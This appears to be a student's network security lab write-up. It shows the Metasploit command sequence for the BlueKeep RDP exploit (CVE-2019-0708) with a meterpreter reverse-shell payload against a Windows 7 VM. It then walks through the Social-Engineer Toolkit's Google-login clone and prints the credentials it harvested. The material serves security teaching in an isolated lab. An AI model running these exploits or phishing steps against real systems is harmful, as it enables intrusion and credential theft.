A&D of Network Security - Lab 13

tags: Practicum of A&D of NS NTU

Metasploit with Bluekeep Vulnerability (CVE-2019-0708)

Setting up environment

• Open Windows 7 and Kali-Linux with localhost only mode :::spoiler Screenshot

  :::

• Then we can note that the IP of these two machines are different: :::spoiler Screenshot

  ::: Now, we know Win7’s IP: 192.168.56.101 Kali-Linux’s IP: 192.168.56.102

• Test the connection of these machines :::spoiler Screenshot

  :::

• Always allow the remote desktop connection of Win7 :::spoiler Screenshot

  :::

Try to Exploit

• Open Metasploit in Kali-Linux

    $ use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
    $ info # Can check the mode you'd like to use
    $ set rhost 192.168.56.101 # set remote host IP -> victim(Win7)
    $ set lhost 192.168.56.102 # set local host IP -> attacker(Kali-Linux)
    $ set target 2 # For virtual-box mode
    $ set payload windows/x64/meterpreter/reverse_tcp # Set the exploited payload
    $ check # Check if the victim can be exploited or not
    $ exploit # Actually attack
  

  :::info Sometimes the attack will not always success, you must try until it success. :::

  :::spoiler Detailed Screenshot :::

Remote Desktop

Social Engineering in Kali-Linux

1. Set up the network environment same as the lab above
2. Open Social Engineering Toolkit(root) in Kali-Linux
3. Enter Command

    ...
       1) Spear-Phishing Attack Vectors
       2) Website Attack Vectors
       3) Infectious Media Generator
       4) Create a Payload and Listener
       5) Mass Mailer Attack
       6) Arduino-Based Attack Vector
       7) Wireless Access Point Attack Vector
       8) QRCode Generator Attack Vector
       9) Powershell Attack Vectors
      10) Third Party Modules
   
      99) Return back to the main menu.
   
    set> 2
    ...
       1) Java Applet Attack Method
       2) Metasploit Browser Exploit Method
       3) Credential Harvester Attack Method
       4) Tabnabbing Attack Method
       5) Web Jacking Attack Method
       6) Multi-Attack Web Method
       7) HTA Attack Method
   
      99) Return to Main Menu
   
    set:webattack>3
    ...
       1) Web Templates
       2) Site Cloner
       3) Custom Import
   
      99) Return to Webattack Menu
   
    set:webattack>1
    [-] Credential harvester will allow you to utilize the clone capabilities within SET
    [-] to harvest credentials or parameters from a website as well as place them into a report
    ...
    Enter the IP address for POST back in Harvester/Tabnabbing: 192.168.56.102 # Must using Kali-Linux IP
    ...
    -------------------------------------------------------
   
      1. Java Required
      2. Google
      3. Twitter
   
    set:webattack> Select a template:2    # You can also use other templates
   
    [*] Cloning the website: http://www.google.com                                                                     
    [*] This could take a little bit...                                                                                
   
    The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.                                                                                              
    [*] The Social-Engineer Toolkit Credential Harvester Attack
    [*] Credential Harvester is running on port 80                                                                     
    [*] Information will be displayed to you as it arrives below:
   
   

4. Open Chrome in Win7 and enter Kali IP and enter your account/password :::spoiler Screenshot :::
5. Check Kali-Linux Terminal

    192.168.56.101 - - [27/May/2023 05:25:50] "GET / HTTP/1.1" 200 -
    192.168.56.101 - - [27/May/2023 05:26:48] "GET /favicon.ico HTTP/1.1" 404 -
    [*] WE GOT A HIT! Printing the output:
    PARAM: GALX=SJLCkfgaqoM
    PARAM: continue=https://accounts.google.com/o/oauth2/auth?zt=ChRsWFBwd2JmV1hIcDhtUFdldzBENhIfVWsxSTdNLW9MdThibW1TMFQzVUZFc1BBaURuWmlRSQ%E2%88%99APsBz4gAAAAAUy4_qD7Hbfz38w8kxnaNouLcRiD3YTjX
    PARAM: service=lso
    PARAM: dsh=-7381887106725792428
    PARAM: _utf8=â
    PARAM: bgresponse=js_disabled
    PARAM: pstMsg=1
    PARAM: dnConn=
    PARAM: checkConnection=
    PARAM: checkedDomains=youtube
    POSSIBLE USERNAME FIELD FOUND: Email=test123
    POSSIBLE PASSWORD FIELD FOUND: Passwd=123456
    PARAM: signIn=Sign+in
    PARAM: PersistentCookie=yes
    [*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
   

6. Done We try to fetch the victim’s account using fake web template…